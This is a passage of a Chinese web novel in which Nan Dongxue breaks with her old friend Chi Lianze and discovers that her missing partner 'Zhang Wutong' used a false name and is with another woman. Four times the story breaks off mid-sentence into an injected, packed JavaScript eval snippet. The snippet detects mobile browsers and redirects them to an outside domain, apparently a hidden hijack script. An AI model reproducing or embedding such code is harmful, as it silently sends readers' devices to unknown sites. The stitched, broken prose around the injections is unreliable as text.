他看了眼别处,忍下了心中呼之欲出的不堪情绪,咬了咬唇,再次迎上南冬雪那冷冰冰的目光,笑容凄然,“你知道我脑子笨,不知道什么地方又得罪了你,你直截了当的告诉我,行吗?” 这种感觉就像是以前辅导他做作业。南冬雪被气得半死,他还是嬉皮笑脸的指责是她没有讲清楚。 “我不想再找了,你不需要帮我,明白吗?”南冬雪急得做手势。但炽连泽一脸的不理解。“我怎么说你怎么做就好了,可以吗?” 像是在竭尽全力同小孩对话。 炽连泽乖巧地点点头。 “不要再管我的事,删掉我的电话号码,回你自己的家,做你自己的事情,就当我们没有遇见过,知道了吗?”南冬雪之前夸张、冲动了些,说完这些话,才触及到了内心犹豫不决的那一部分,“我不想和你这样的人打交道。” 这话说出来之后,她才清楚的意识到,不是不想和炽连泽这样的人打交道,而是自卑,觉得他那样的人对她来说遥不可及。要是不早早地保持距离,最后他会了解清楚她的一切,接着反感、鄙视、嫌弃、厌恶…… 南冬雪要走,炽连泽再次挡在她面前,把她整个人拦在自己身前,下巴几乎碰到她的头顶,以一种咬定青山不放松、志在必得的气势压垮南冬雪表面的无理取闹,逼得她后退两步。 这才是真面目。和其他男人的恶趣味也没有什么两样,一着急就只会用武力威胁。南冬雪心想,暂时示弱才好。 “我做好准备了。”炽连泽郑重其事的说。南冬雪不理解。炽连泽继续说,“有病咱就要治,没有人管你,我管你。” 南冬雪的怒火肉眼可见的腾升起来,狠狠推了炽连泽一把,双手按在了他腹部,怒骂,“你才有病!谁要你管?闪开!找不到人就糊弄我,说我有病,谁知道你真的找了吗?” 南冬雪跑着向前,炽连泽迈着大步追。 “这么大的事,我骗你干什么?我是那样的人吗?我去找警察,警察说你报过案了,还是甩给我张梧桐遇难的消息。你说我怎么想?我有证据你看不看?你要不和我一起去问问那保安大叔?” “我说了,我不找他。” “好好好,不找。不找最好。”炽连泽看南冬雪跑得有些吃力,开始喘了,大口吸着冷风可不好,于是伸手拉住了她衣袖。南冬雪顺势停下来。他说,“我带你去找一个你绝对想见的人,去不去?” “不去。”南冬雪甩开炽连泽的手,“你也别缠着我,保持距离,再也不见,好不好?” “去了之后你杀了我都行。” 她以前羡慕炽连泽这个人的一切。现在想来,那时候的他,人格魅力已经远超同龄人。他长得好,衣品好,外表看起来活脱脱一位小王子。他礼貌、活泼、热情、开朗、懂人心,会对不同的人开不同的合适的玩笑,常常有灵光一现的幽默,至于缺点,非要吹毛求疵的话,大家才会为难的说:只有学习不好,但他脑袋灵光,只要稍微下点功夫,那绝对一骑绝尘。 南冬雪和炽连泽一起读书的时候,觉得他了不起的一点是眼里无贵贱。所以他才会和她一起玩。他带着她下水摸鱼,上山摘野果,正好那些都是她一个人不敢去做,但内心十分渴望去体验的事情。 那时候,他带她去的地方,没有一次是令她失望的。或许,也得感谢他缺心眼,只听大人夸她好,不去领会别人暗示她的不好。幸而如此,她度过了快乐的两三年。 炽连泽拖着她来到了张梧桐的家门前,南冬雪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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说话间,一个小女孩稚嫩的声音率先传进来,紧接着是一个中年妇女在温柔的答应女儿请求。两人走进屋内,南冬雪回头看去,只一眼,便垂首盯着桌面。老板带着他的妻子女儿去后厨了,南冬雪对炽连泽说话,他没听清,探过头来,再问,“你说什么?” 她觉得嗓子好像堵住了,发不出声音来,努力的说话,音调已经变形。 “我还有事,你帮我打包带走吧,我先走了。” 不顾炽连泽是不是听清楚了,她起身就走。炽连泽这才明白过来,想要去追,被老板娘拦下了,笑吟吟说,“马上就好,麻烦你去端一下好吗?我去看看这位客人是不是要找卫生间,我去。” 炽连泽站在原地往外看着,老板娘叫住了南冬雪,两人说了几句话,南冬雪跟着回来了,好像不高兴。 她吃完了那碗米线,静等炽连泽付完账后,率先走出店门,一直安静的迈着小小的步子,失了神般往前冲。 “你怎么了?那位老板娘是不是你妈?我没搞错吧?南冬雪。”炽连泽沾沾自喜,已经预想到要让南冬雪怎么谢他。 哪知南冬雪一转身,先把包砸了过来,正中他的胸膛。南冬雪那满腔的怒火,他这时才看得清楚。但他完全想不到理由,有些懵了。 接着他正要去捡她的包,还没弯下腰,她狠狠推了他一把。不小的力道,按在同样的腹部位置,有一点疼。但南冬雪那满眼充斥的恨意,更让他觉得疼。心里疼。 “我受够你了。”她朝他大吼。 8. 难为解 “我受够你了”。这句话一喊出来,两个人瞬间被安置在了不同的次元,无法靠近。近在咫尺,却远在天边。 除了十一年前那件事,炽连泽觉得自己没有什么对不起南冬雪。他印象里的南冬雪,安静,与世无争,是故事里“遗世独立,自在清风”的形象,哪会如此歇斯底里,还说她受够他了?他没有那么过分吧?南冬雪的妈妈在她六岁时离家,之后没有再回来过,乡里乡亲都知道,南冬雪是被妈妈抛弃的孩子。他偶然发现了她妈妈的现居地,帮助她们母女重逢,他做错什么了? 炽连泽此时有些无助,希望南冬雪能把话讲清楚,还在努力安抚南冬雪的情绪。 “先别激动,慢慢说,我哪里做得不对?”态度如此谦卑,已然忘记了南冬雪的失态,并且原谅了她的愤怒直指。 要不是因为暂且还相信着南冬雪已经结婚的事实,尽管她的丈夫下落不明,凭着炽连泽在各种短视频里学来的哄人技巧,他马上就要拿出一副温柔可靠的样子,迎上去把人抱在怀里安慰了。不过,男女授受不亲。他只是想想而已。那只左手试图去拍南冬雪的臂膀,被躲开来。 “我不想看见你,我恨你,你知道吗?”南冬雪双手掩面,把内心的种种憋屈强行压下去。刚刚那一吼,她觉得对不起炽连泽。再次开口说话,情绪缓和下来,尽量用平淡的语气和这个人就此别过。但她的身体止不住颤抖。 在这之前炽连泽是在卖弄自己的魅力,现在他看到南冬雪绝望的神情,意识到她的情绪大爆发不是开玩笑。 “我怨你没有看好我妹妹的事,你还在怪我吗?” 听完这话,南冬雪原本低下去的脑袋抬起来,歪着看他。难以置信?委屈?怨恨?不甘?想要毁灭一切?炽连泽读不懂那样的眼神,那样的一张脸。 柔弱的一个人,从来没有表现出反抗。到底是什么,逼得习惯了示弱的人露出如此痛恨的表情? “你早说不会原谅我好了。”炽连泽心里堵得慌,以为道歉了就可以一笔勾销,再遇见之后他们还是以前那样的好朋友关系。要是南冬雪恨他,一恨就恨了十年,他真没有办法解决。“要不?我给你跪下?” 说话间,炽连泽真跪下去了,不过是单膝跪地。 旁边骑着电动车路过的小伙子,好心助兴,“喔~喔~嫁给他!嫁给他!” 炽连泽打算解释,人家已经在五十米开外了,哼着欢快的小曲儿。 种种怨恨,种种委屈,南冬雪一直努力压制着,不去对炽连泽一吐为快。她的心思,过去十几年压抑在心中的消极情绪,只要她自己知道就够了。没必要在大家都已经走进新生活的时候,再旧事重提,就像是把沤了那么多年的泔水一股脑儿浇在两人身上,只会只留下一夜的恶臭,一抹糟心的记忆,从此以后,就算世界上没有喜欢的人,也总有一个恶心的人一回首就能看到。 不过,炽连泽这一跪,好比一把重锤将南冬雪内心的怨和恨一下子砸得粉碎,残渣只留在她破碎的心里。他都这样了,她要是说对他不满,那岂不是要被天打雷劈?他完美,他优秀,还要追根究底,那就是她不堪。 有一句话是,“月满则亏,水满则溢”。便是炽连泽这一跪,让南冬雪看清了自己的千疮百孔,恶臭讨嫌,爆发的情绪本该到此结束,当作什么都没有发生过。但炽连泽这一跪,击垮了南冬雪的最后一点自信后,激发了她压抑多年的自我保护意识。 南冬雪疯了。她才不管对方会不会反击,会不会对自己造成什么伤害。她只想发泄。她一把推倒跪着的炽连泽,害他四仰八叉坐在地上。 炽连泽还是没有意识到事情的严重性,为了缓和气氛,故意作娇羞状,发出不可明状的声音。如果是面对着他那群同事,保准会引得哄堂大笑。 南冬雪更生气。 “谁要你多管闲事了?你是不是觉得自己很懂别人?我告诉你,你错了!我爸死了,我现在有工作,有房子,身体健康,同事们都好得不得了,我现在活得很好。我不想再去认什么妈!” 南冬雪的声音在发抖,有些字眼口齿不清,差点咬着舌头。几句话已经让她筋疲力竭,但心中的泔水还没有倒完。 “我已经重新开始生活了,彻底和过去的我决裂,开始新生活,你为什么要出现在我面前,纠缠不休?我一直都很讨厌你。讨厌你,不对,对不起,实际上我是讨厌我自己。 我嫉妒你,你天之骄子,你很快乐,你有爸妈,有爷爷奶奶把你当心肝宝贝,就算不学习老师也喜欢你,所有人都喜欢你,因为你长得好看,家里有钱,嘴甜,你到处把别人比下去,压得死死的。 我呢?我恨透了我的前半生,一点儿也不想再回忆起过去的每一件事,但你一出现,就会提醒我过去经历的一切,一次次的提醒我自己有多么不堪,根本不配抬起头做人,根本不配笑,根本不配在大城市里过着人模人样的生活,你让我感到痛苦,痛苦,知道吗?” 炽连泽从地上爬起来,顺手捡起南冬雪的包,掩饰尴尬。南冬雪一股脑儿说了很多话,又因为是哭着说,很多字眼十分含糊,加上他只顾着紧张南冬雪怎么哭了,怎么哭得这样厉害?他的脑子一紧张就容易抓不住重点,要是请她重新说一遍,会不会被打死? 炽连泽很会看气氛,他可不敢冒这个险,所以根据南冬雪的语气和几个词语,只猜了大概,好像是南冬雪对自己不满意。上学时,她就是这副德性。有次老师找她谈话,他听到了,说南冬雪不够自信之类。 明明那么聪明,很长的一篇课文,他还没有读流畅,南冬雪已经会背了。数学题读完题干就能写出答案。英文卷子就算是猜也能推测出准确答案。从上学开始,一直霸占年级第一的位置,名动乡里,是个天才级别的人物。 “你才二十五岁,怎么能说是前半生呢?” 看到南冬雪又是眉毛用力,又是咬嘴唇的,肯定更生气了,炽连泽连忙改口,“以后的日子还长着呢!你以前是怎样,以后还会一直是这样的,放心,谁都比不过你。你超级厉害的。” 这下好了。南冬雪心里的窝火全倾泄出来了,当事人没听懂,甚至火上浇油。南冬雪抓狂,双手从太阳穴插进头发里,把自己搞得乱七八糟,恨恨的看向炽连泽。他那一张人畜无害的单纯笑脸正等着迎接破碎的她,“嘿,你这样也很好看啊!” “我和你说句话。”南冬雪彻底失去所有力气,声音极弱,炽连泽听着费力。 他体贴的蹲下来,把耳朵凑过去。南冬雪顺势趴在他耳边,用一只手挡着风,轻轻的说,“我们绝交。” 她吐出的气息轻轻扫过炽连泽最敏感的地方。一句话说完,南冬雪从炽连泽手里夺过自己的包,干净利落的转身走了。炽连泽还在挠耳朵,想笑又不敢明着笑。 她结婚了。她有丈夫。她的丈夫失踪了。 南冬雪逐渐远去的背影,也带走了炽连泽刚刚那一刹的感觉,和别的什么东西。脑子,还有心里,空落落的,但他觉得身体好像沉重了一些。 炽连泽突然打自己一巴掌,自言自语,“她刚刚是不是说绝交?真搞笑,我可是你表叔。” 他没有跟来。 哭了一场,南冬雪觉得轻松多了。上坡的路,走着吃力,但欣喜。好像把所有的包袱扔在了后面,她从那一堆垃圾之中爬出来了。 张梧桐对她来说,好像也不是不可或缺的角色。绝望无助之时,遇见了张梧桐,便以为遇见了救赎。实际上,从头到尾,真正的救赎者,只有自己。没有人能陪你走到最后,只有自己。靠着自己走路,才能走得更远。 看着街上的落地窗里的影子,她对自己笑了。 天上飘起了雪花。不远处聚集的人群,发出阵阵欢呼。今天是圣诞节,一群年轻人正在举行一场节日狂欢。 从别人的热闹里走过,她会感谢这快乐的世界。 年轻的脸庞,盛放的热情。对虚无之物的一片赤忱爱意。她努 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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终于等到周围空无一人。南冬雪呆呆的后退,缓慢仰头去看他的脸。这一秒钟内,心里问过无数次苍天:会是他吗?会是她想要见到的人吗?如果不是的话,两人经历了三分钟的拥抱,她该如何面对? 他是在救她,应该没关系的吧? 看清他的脸,只是一瞬间完成的事情。南冬雪却在这一瞬间陷入了混沌之中。她想不通,为什么?为什么他笑得如此疏离礼貌,如此的无所谓? “张梧桐……”他的名字从她身体里那深不见底之处虚弱无力的飘上来,南冬雪内心积攒了半个月的种种情绪化为了眼泪,从眼底涌出。 但这个人不明所以,且急着离开,“不好意思,你是在叫我吗?” 顶着张梧桐那张脸的男人,往后左右看了看,发现没人,无辜道,“对不起,你认错人了,我叫周正。刚刚冒犯了,希望你不要介意,那……再见?” 否认自己是张梧桐的男人歪着身体,抬手在南冬雪面前晃了晃,唤回她似是沉睡的神思,“早点回家吧,不要去人多的地方,很危险。” 以前目光恨不得黏在她身上的张梧桐,现在看她的眼神明显是对待陌生人。南冬雪有点看不清。她又急又乱的抬手一把抹掉眼睛里的泪水,再次狠狠地看过去。 自称是周正的男人,一步一步后退,抿着嘴,打算就此沉默的退出这场意外。 他的脸,是这样的吗?南冬雪有些恐慌。她再熟悉不过的那张脸,明明是张梧桐,可现在这一时刻再去看,又有些不一样。 他刚刚就是这张脸吗?她再怎么心烦意乱,伤心过度,不至于看错了吧?但有事的是她,对方没有必要去骗她。南冬雪仔细回想,却越来越混乱,脑袋里一团乱麻。 周正转了身,刚走两步,迎面遇上炽连泽,放慢脚步,眼神含笑致意,在炽连泽微微惊诧的目光中快速离开。 那个人…… 炽连泽回想起来,前几天他们在工厂废墟中挖出来的其中一个人,不就是他吗?断了腿,伤到心肺,差点没命的那位遇难者,这么快就活蹦乱跳了? 9. 水中月 圣诞节过去不久,即将迎来新年。欢快的气氛隐隐的潜伏着,只等时间一到,即刻毫无保留的释放出来。 南冬雪如饥似渴的想要去感受那潜藏着的热闹,好驱散自己内心的孤寒。 下班后,南冬雪步行一个小时来到这家超市,又花了一个小时,从每个货架前走过,看遍与她视线齐平的每一种商品,最后买了两颗西红柿、一袋面包、两瓶水结账。 走进电梯时,周围空无一人,只有她自己。待她按了电梯层数,门即将完全关闭时,一阵急乱的脚步冲过来。电梯门再次打开,挤进来一群欢乐活泼的年轻人,不知是谁身上的味道有点冲,是香味过浓的那种刺鼻。 南冬雪往角落里挪了挪,其他人也动了动位置,确保每个人的空间大概平均分布。 转移到南冬雪面前的男人,完全挡住了她的视线。南冬雪觉得压抑,只能仰起头去看天花板。不料男人的后脑勺映入眼帘。 张梧桐脑后的头发形状和他一样。这个想法一出现,南冬雪连忙移开视线,可这人挡在她眼前,不是看到他后脑勺,就是必须盯着他的背。 张梧桐的后颈处也有一颗痣。 男人的手指在裤缝处弹钢琴一样敲打着。南冬雪发现,他的手指上戴了一枚戒指。 戒指和她手上那一只是一对。 这未免也太巧了。 电梯猛地一停,男人身边的女人倾倒在他身上,两人相视一笑,手拉着手走出去。 世界上相似的人多的是。南冬雪无意跟着他们,甚至刻意放慢了脚步。但走出大楼时,那两人正在门口接吻。南冬雪扭转视线,绕路而行。 “张梧桐,你今天是有什么毛病?”女人娇娇的笑骂。 南冬雪的脚步不由得停下了。 “张梧桐,你是对我最好的人了。”女人又撒娇。 南冬雪回头看去,那男人正抱着女伴还要再吻下去,但目光却直勾勾与南冬雪交汇。他看着南冬雪,低头亲了怀中女孩的侧脸。 那男人,分明就是张梧桐。南冬雪的热恋对象,想要白头到老的人。为什么突然失踪了,现在被她撞见和另外一个女人卿卿我我?他不是失踪了,是出轨?那他为什么不讲清楚?光明正大的分手?反正他们没有领结婚证。难道连房子也不要了吗?难道是他还想回来找她吗?那样的话,她不要他了。 她转过身,从包里摸出手机,拨打了张梧桐的电话。 许久不曾打通的电话,熟悉的铃声在背后响起。 “宝贝,我先接个电话。” 背后那男人的声音如同一条蛇,慢慢爬上南冬雪的背。爬过的每一处,都被狠狠咬下一口。 “喂?”他说。 张梧桐是失忆了吗?不记得她了,所以有了别的女朋友? “你还记得我吗?”南冬雪过了半分钟才把话送出嗓子。他一直静静的等着。 “以后不要再打扰我了。”他说。 他不是失忆,是确定不要她了。 电话里的声音,和背后通过空气传播的声音,听来有那么一秒左右的间隔。就像是回音,不断敲击南冬雪的胸腔。 “房子就当是我对你的赔偿,安心住着吧。”他说。 “能告诉我你的真实姓名吗?”南冬雪不清楚自己现在是什么感受。这个结果来得太具有冲击性。她静静等了许久,不管是风,还是浪,都会把她一拍即散,所以反倒无所谓。或许也是因为一直有这种预感。 和张梧桐结束了,她的幸福就不会卷土重来。 她身后的张梧桐清了清嗓子,“你明白的,不能。” “谢谢。”南冬雪挂掉电话,没有再往后看上一眼,自顾往前走,直到拐弯处。她觉得他应该已经走了,忍不住侧头瞥了一眼,灯下只有张梧桐还站在那里。 她从来没有想过会是这样的结果。那么爱她的一个人……不过,话又说回来,这不是男人的通病吗?被她遇见,那也没有什么奇怪。既然如此,从今往后,她对他的念想会彻底破灭。 回家的路,更加孤单寒冷。 十分钟之后,她到了小区门口。保安正在亭子里坐着。南冬雪走过十多米又退回来,敲了门,保安打开窗户问她有什么事。 “大哥,记得我吗?”南冬雪学着别人的样子,用一张善良和蔼的脸和保安大哥套近乎。 “当然记得啦!咱们小区业主我都认识。刚刚你师兄,上次来过的……”保安低头看了一眼来客登记表,“林森和妙华,进去等你了,快回去吧!哎,你刚说有什么事找我吗?” “我想问问我老公有没有在您这放东西给我?” “你老公?”保安面露难色。刚刚还吹嘘这里的业主都认识,这马上就想不起来了。“前两天也有个小伙子问你老公,我说不知道。” 南冬雪像听物理课一样,对任何知识毫无表情反应。 “那有没有呢?” 保安大哥嘿嘿一笑,“我给你看看,你老公叫什么名啊?” “张梧桐。” “没听说过啊!这里没有他存的东西,长啥样?” 大哥问得是那个东西是什么样子,但南冬雪把张梧桐的照片翻出来给保安大哥看。 保安大哥静静看了好几秒,面色凝重,不知道是不是要怀疑自己已经进入老年痴呆了。 “这人我怎么没见过?诶,是不是新闻上……”保安及时刹车,观察南冬雪的表情。 “不是。”南冬雪收起手机,“就是长得像。没有的话,那我先走了,再见。” 以前明明经常打招呼的人,现在竟然说不认识。炽连泽没有骗她,那这到底是哪里出了问题。实在太过抽象,南冬雪想不出来,也顾不上去想。 林森和妙华第二次走进南冬雪的家门,入眼便是一个行李箱放在鞋柜旁边。客厅比上次空了许多,花瓶里的残花没有了,纸巾盒、书本、笔筒等物都被收拾起来,桌子和沙发上盖了一层白布。厨房台面上也空无一物。看起来是主人要搬家离开的房子。 “你这是不住这儿啦?”妙华问。 南冬雪从带回来的购物袋里拿出两瓶水放在客人面前,“不好意思,师兄,华姐,现在家里只有这个。我打算离开这儿了。这是他买的房子,我不能白白住着。” “那你打算去哪里?要把房子怎么办?”林森问。 “我想去看海,应该会去一个海边城市吧。我又找不到他,房子先留着,要是他还要就还给他,要是他不要了,就卖了钱捐了,你们觉得怎么样?” “你好好找了吗?师妹,就凭你的性子,我不信你找了。你怎么找的?你和我们说说。”林森看起来不高兴。 妙华可不喜欢丈夫这副态度对人,连忙插话说,“我前不久刚好去你老家那边的学校学习,打听了一下,你在校期间,有一个学生叫张桐,外号叫梧桐,我来不及去仔细找,你看要不要等我俩请个假一起陪你去问问?先别走了呗,你去了外地无亲无故的,这边还有我们俩照顾照顾你。” “说句不好听的,万一他是被奸人所害,现在尸体不知道在哪藏着,等着你伸冤,那么一个大活人没有音信了,你作为他的……爱人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15043123|162633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,说不找就不找了?”林森还是没法拿捏这两人的关系。好好的一个师妹,被那个混蛋害得这么痛苦,林森真是有气不打一处来。 “话虽糙,理是对的。”妙华拍了丈夫一下,用眼神训他说话难听。 “不用了。”南冬雪无奈。要是想不出来无法拒绝的理由,这两位不会罢休。“他用的是假名字,我对他的身份一无所知,报警也无从报起,找也只会找到真正的张梧桐那里去。” “真是奇怪。给警察解释清楚也没用吗?明明是两个人,他们查一查监控就知道了吧?”妙华试探道,“真的不试试?” “对啊,现在大街小巷都是监控,肯定能找到他最后失踪的地方。”林森附和。 南冬雪看着两人,为难的咬着唇,决定把真相说出来。 “我今天,就在去超市回来的路上,看到他了。” “什么?”妙华双手拍在桌子上,震倒了两瓶未开封的矿泉水瓶。林森也惊讶得张开了嘴巴,一时消化不了这情况变化。 “我看见他和一个女的在接吻。然后我问他,还要不要我,他叫我把他忘了。” “这是真的吗?”林森一半难以接受,一半怀疑南冬雪说谎。 南冬雪把通话记录给他们看。见两人尽管难以置信,但接受了这个结果,话题又转移到南冬雪何去何从上来。 “他出轨是他不对,他还赶你从这房子里离开吗?”林森愤愤不平。“师妹,咱不能这么善良。” “怪不得你刚刚说这房子他还要,他不要的,原来你已经找到他了。那也就是说你们还没商量财产怎么处理,对吧?” “我原本什么都没有,现在也什么都没有,照样能好好活着。他说让我在这里住着,但我不想要他的任何东西。”南冬雪低头抿着唇。干干净净的离开,是她保存尊严的方式,也是与张梧桐彻底决断的证明。 离开的最后一步是辞职,南冬雪没想到在老板这里也要费一番口舌。 “给你加两千块钱工资。” “颖姐,我不是为了涨工资。我得搬去另一个城市,所以必须辞职。” “为什么非得搬去另一个城市?为什么?” 南冬雪灵机一动,“老公要在那边待上三五年,我过去陪在他身边比较好。” 老板看似松了一口气,却不打算放人,苦口婆心劝着,“南南,你得为自己考虑,去了别的地方你有这么好的工作条件吗?能拿这么高工资吗?要是需要休息,给你两个月带薪年假,出去走一走,散散心。工作上,要不要尝试一下口译?总要进步的嘛,挣得也多。” 南冬雪实在想不到该怎么说才能让老板同意她辞职。短暂的时间无法考虑充分,她脱口而出,“其实是我最近心情不好,想换个地方重新开始。” 老板从抽屉里拿出一张卡片,送到南冬雪面前,“这是一张心理医生的免费咨询卡,一定要去用掉,别浪费了。” “啊……这……”防守实在是密不透风,无从下手。 “哪里不能重新开始?你别给自己找借口。留在这儿,有姐姐我罩着你。有什么需要帮忙的,尽管开口。”老板又从抽屉抽出另一张卡片,摔了过来,“离婚律师,需要吗?” 南冬雪没反应过来,纯粹的吃了一惊。 老板那一双鹰眼瞧了瞧南冬雪,扭头去端咖啡喝,实际上是为了躲避南冬雪的眼神讨伐。她接下来要说的话,相当的不讨人喜欢。 “我看见你老公出轨了,南南,回家证实一下吧,记得有任何需要都可以找我。我说,任何需要,明白了吗?” 10. 镜中花 老板这一番霸气十足的话,当即燃得南冬雪信心爆棚,努力之心蠢蠢欲动。从来没有人这样对她,就算心底深处明白这不过是场面上的漂亮话,还是被感动得一塌糊涂。她愿意上这个当。 南冬雪手里握着两张卡,狠狠朝老板鞠躬,声调比之前大了三五倍,震得老板一激灵。 “老板,我一定为你肝脑涂地,两肋插刀,在所不辞!” “你吓我一跳。太夸张了,加油工作就行,为你,也为我。” 老板也是第一次见到这样热血表忠心的员工,有些尴尬,犹犹豫豫最后选择倾了身子,隔着一张办公桌去和南冬雪握手,算是交易达成。 南冬雪早就听说心理咨询花费不少,是她这样的人去不起的地方,又担心心理医生不是站在病人的角度分析、解决问题。后来想要把卡还给老板,被告知说,钱花掉了,只能南冬雪本人用掉。 老板是早都见过张梧桐出轨了,还是早都看出她这段时间情绪不对劲了?她确实需要心理医生。南冬雪做了一番思想斗争,才爬下床,简单收拾了一番自己,去了医院。 心理医生是位年轻的男生,亲切的迎她进门,说,“早已等候您多时了。” 南冬雪刚刚还在门口踌躇,犹豫着要不要改天再来。因为牌子上写着应该提前三天进行预约,而她完全没有想过这一点。 医生姓顾,名唯依。名牌摆在他的办公桌上,看起来正规又严肃。南冬雪正在担心马上就要进行的谈话会不会让她难为,顾医生顺手就把那名牌扔进身后的纸箱去了,倒了一杯水送过来,笑着说,“我让你感觉到紧张吗?” 确实紧张,但不敢明说。这位医生让南冬雪想起很久以前看过的一部电影中,代表反派的一个又帅气又迷人的角色。她感觉到自己的心跳加速,有一半是因为即将而来的心理疗程,有一半是因为他。 还没开始治疗,先被医生的外表迷惑住了。其他人也会这样吗?所以他的业绩就是这么好起来的? “没有没有。”南冬雪连忙否认,转移视线,强迫自己不去胡思乱想。“我没有预约,没关系吗?” “不用担心,我最近没有其他工作,您随时可以过来。”医生坐在了南冬雪左侧的单人沙发上,“有什么问题,烦恼,尽管可以对我诉说,我会替您保密。” “有没有催眠那一类的?”南冬雪没有想好自己要咨询些什么。她的痛苦似乎已经被自己装进袋子,扔进角落,就只差封口了。“我担心我说不出来。” “没关系,我会引导着你讲出自己内心的问题,就像朋友间谈话那样,不用紧张。”顾医生说。 三个小时后,南冬雪靠在沙发上已经有些困意。顾医生起身把沙发归位,弄出了噪声。南冬雪立马惊醒,看到他的表情,才知道那声音是故意的。 “时间到了。不得不说,今天的谈话很失败。你似乎一直在防备状态,就算知道自己在说谎,不管是第一次,还是第二次,第三次,你还是坚持编造一个虚假的故事来应付我。” 顾医生坐回了他的办公桌后面,手里的笔敲击着桌面,像是一阵催眠,接下来他说的每个字眼都落进了南冬雪的心里,似乎难以承受。 “希望你能认真的面对自己,直面惨淡的人生,才能接受自己。” 南冬雪直到走出门的那一刻,还在扮演一个精神健康的文明人形象。但心里清楚,医生已经看穿了她的伪装。南冬雪轻轻关上门,靠在墙上好一会儿才打算回家。 接受自己之后呢?她就可以变得和别人一样了吗?就可以把那些往事和别人分享了吗?她做不到风轻云淡对待自己的惨淡。至少现在是这样。 还要不要来做心理咨询?南冬雪随着人群糊里糊涂前进的途中,一直在思考这个问题。 起初她还以为只是个任务。开始谈话之后,她怀着一点点拯救自己的希望,结果到最后,内心还是在抗拒。她无法相信一个陌生人,尽管医生在三个小时内,交代了自己的家庭、朋友、工作,从小到大所有开心的、不开心的,荣誉的、糗的,害怕的、喜欢的事情。 察觉到自己走错了路时,她已经在住院部楼道里了,一时不知道该往哪里去。 精神一振总在不经意间突袭。 又是遇见他了。南冬雪听见那熟悉的曲调,回过头,看见夕阳映照在白色墙壁上,犹如两道刀锋。但那个哼着歌的人在直角拐角的另一边。 事到如今,还要再确认吗?南冬雪回忆着张梧桐亲吻别人的画面,脚跟往后蹭着,悄悄移到能够看到那条通道的位置。 还是想要再看他一眼。 刚刚在心理医生那里,她斩钉截铁的告诉人家说,“我不怎么在乎感情。” 这算是留恋吗? 但她看见的那个人并非张梧桐。 炽连泽晃着脑袋一扭头,便看见了南冬雪只露出半个脑袋,在楼道尽头偷看。第一反应便是她来找自己道歉了。但她能来已经很好了,女孩子脸皮薄,他不会逼着她把那些话说出口。 他这么想着,迟疑了几秒,而后朝南冬雪跨着大步,走到她近前,内心的欢喜写在脸上,笑嘻嘻道,“我的外甥女,你怎么还是这么厉害?一下子就能找到我在哪里?” 南冬雪看见炽连泽右手小臂裹着纱布,袖子被剪开,耷拉在肩上。他还穿着制服,身上留有多处严重摩擦的痕迹。睫毛沾了粉尘,变成灰色,一闪一闪之间,漂亮的眼睛犹如精灵。他这是在工作中受伤了? “我也来医院,走错路了。” “你也来医院?你怎么了?”炽连泽作惊慌状。 “不是你说,有病就要治。” 南冬雪想开玩笑,结果总是不尽人意。炽连泽忧愁解释,“就是逗你玩玩,随口一说,你真当真了?那怎么样?治疗的结果……” “你这是怎么了?要紧吗?” 她的眼里没有半点关心。 “被砸到了,没事儿。那你是……”不是专门来找我的,看到我受伤也不是很在意,是不是这就要走了? 她对他大发一通脾气,转身就跑。就算不知道她在闹什么别扭,也知道她不想理他。还是为了十年前的事吗?他也不想再提了。要是从此以后再也不会见面,那也没什么关系,只要知道她能好好的生活,对老朋友而言,就已经足够了。 南冬雪看起来有些别扭,不知道是不是为了道歉的事。 “没关系,我是你表叔嘛,闹闹脾气我能理解。”炽连泽瞧着南冬雪淡淡的鼓起脸颊,偷偷叹气的样子,便猜是自己又让她觉得无语了,脑子里迅速思考,才想起问这么一句来,“你……张梧桐有消息了吗?” “有了。”南冬雪对他眨着眼睛,作天真状。 炽连泽突然间听不到任何声音了。 他情不自禁,沉浸于这一幕。 思绪挣扎着爬上来,迟钝的思考:这是什么表情?她在想什么?为什么突然露出这副表情? 终于强行逼迫自己移开目光,炽连泽暗暗掐了自己一把。想起南冬雪说她有张梧桐的消息了……可恶…… “哦。”炽连泽听着自己的声音吓了一跳,担心被南冬雪听出他的不开心,紧张的去看她,但南冬雪并没有注意到。 “圣诞节那天,你也看到了……”南冬雪平静的语气突然慌张,改口说,“不对,那天是我看错了。在那之后几天,我真的看到他了,还和他打电话了。” “圣诞节那天?”炽连泽狠狠皱着眉头,看起来是在使劲思考。但是用脑子思考的事情,在眉毛上用力有什么用呢? 南冬雪每次看见他这样的表情都会想笑。现在,她看着,也觉得好笑,但是不会再笑出来了。 “你是说和你面对面说话的那个人?”炽连泽紧急追问。 “我看错了,或许是精 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 